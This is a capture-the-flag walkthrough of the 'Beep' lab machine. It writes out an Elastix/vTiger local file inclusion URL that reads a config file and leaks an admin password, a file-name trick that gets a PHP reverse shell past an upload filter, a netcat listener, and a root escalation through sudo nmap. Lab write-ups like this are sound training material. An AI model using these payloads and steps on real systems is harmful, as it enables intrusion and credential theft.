Beep

image

Overview

Beep is a CentOS box running Elastix which according to wikipedia “…is an unified communications server software that brings together IP PBX, email, IM, faxing and collaboration functionality. It has a Web interface and includes capabilities such as a call center software with predictive dialing.” Elastix is vulnerable to LFI which exposed a password for vTiger CRM. Once logged in a php file was uploaded by bypassing upload restrictions resulting in a reverse shell as user astrisk. The asterisk user is allowed to run nmap as root and was exploited to get a root shell.

Enumeration

Software

Open Ports

nmap -vv 10.10.10.7 -Pn -sT -A -p- 10.10.10.7 -oN /mnt/data/boxes/beep/_full_tcp_nmap.txt

Directory/File Brute Force

gobuster dir -k --wildcard -s "200,204,301,307,401,403" -u https://10.10.10.7 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html -t 40

image

Steps (User)

Gobuster generated a lot of results. To avoid going into a rabbit hole I browsed to each and took notes about any software and files and folders were present.

Starting with Elastix, I ran a search against searchsploit and found a handful of vulnerabilities.

image

I looked through each of the vulnerabilities and decided to go with 37637 as it referenced vTiger CRM which was interesting because it showed up in the gobuster results.

image

searchsploit -x 37637

I was able to confirm that the website was vulnerable to LFI by copying the URL, updating it to reflect the target’s IP, and plugging it into my web browser.

https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

Note: viewing the source allows for a more readable format

image

admin/jEhdIekWmdjE

Using the password found in the LFI, I was able to log into /vtigercrm.

image

Doing some research on vTiger CRM I determined that it was possible to get RCE by abusing the company logo upload functionality. By using burp to bypass upload restrictions I was able to upload a php file and create a reverse shell.

I started a netcat listener (nc -lvnp 4200) and copied a php reverse shell to my working directory and added ;.jpg

cp ~/tools/webshells/php/php-reverse-shell.php 'rshell.php;.jpg' 

The following steps were required to upload rshell.php;.jpg:

image

image

I confirmed that the file was uploaded and then executed rshell.php

image

https://10.10.10.7/vtigercrm/test/logo/rshell.php

I received a callback and now had a shell as user “asterisk”

image

Steps (root/system)

One of the first things I do is run sudo -l which lists the allowed commands for the user. The output of this command showed that asterisk could run nmap as root

sudo allows a permitted user to execute a command as the superuser or another user, as specified by the security policy.

image

Looking up nmap on GTFObins showed that I can run a shell from within nmap if run with –interactive. Running this command gave me a shell as root.

GTFOBins is a good resource to check for privilege escalation exploits

image